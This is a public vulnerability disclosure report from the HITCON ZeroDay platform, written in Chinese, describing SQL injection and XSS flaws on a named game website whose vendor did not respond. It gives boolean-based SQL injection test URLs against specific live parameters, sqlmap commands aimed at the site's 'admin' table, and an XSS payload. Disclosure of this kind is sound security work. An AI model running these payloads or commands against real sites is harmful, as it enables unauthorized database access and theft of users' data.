Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00379
- Vendor: 遊戲桃
- Title: 遊戲桃 網站存在 XSS 與 SQL injection
- Introduction: 網站存在 XSS 與 SQL injection
處理狀態
目前狀態
公開
Last Update : 2022/07/31
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2022/05/31 12:26:16 : 新提交 (由 BTtea 更新此狀態)
- 2022/06/01 01:23:49 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/06/01 01:25:47 : 審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/06/01 02:24:31 : 審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/06/01 02:26:27 : 審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/06/01 14:56:29 : 審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/06/01 15:03:52 : 審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/06/01 15:09:41 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/06/02 11:31:43 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/06/02 11:31:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/06/02 11:31:43 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/07/31 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00379
- 通報者:blacktea_player (BTtea)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.gamesmomo.com/a.asp?id=3606
http://www.gamesmomo.com/b.asp?c=451
https://www.gamesmomo.com/f.asp?a=1
http://www.gamesmomo.com/b.asp?c=451
https://www.gamesmomo.com/f.asp?a=1
敘述
http://www.gamesmomo.com/a.asp?id=3606
http://www.gamesmomo.com/b.asp?c=451
id , c 存在 SQL injection,可透過改變後方語法改變程式邏輯來取出資料
SQLi payload :
條件成立,正常顯示
http://www.gamesmomo.com/a.asp?id=3606 and 1=1
http://www.gamesmomo.com/a.asp?id=3606 order by 20
條件不成立,跳轉至主頁或者導向 500 error 狀態
http://www.gamesmomo.com/a.asp?id=3606 and 1=0
http://www.gamesmomo.com/a.asp?id=3606 order by 21
條件成立,正常顯示
http://www.gamesmomo.com/b.asp?c=451 and 1=1
條件不成立,不會顯示右邊區塊的遊戲
http://www.gamesmomo.com/b.asp?c=451 and 1=0
因此可得知 id 參數所使用的 table , columns 有 20 個
SQLMAP :
python3 sqlmap.py --random-agent --dbs -u "https://www.gamesmomo.com/a.asp?id=3606" --batch -T admin --columns
python3 sqlmap.py --random-agent --dbs -u "http://www.gamesmomo.com/b.asp?c=451" --batch -T admin --columns
https://www.gamesmomo.com/f.asp?a=1
a 存在 XSS,點擊下方最終頁即可觸發
xss payload : ' onclick=alert()>
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。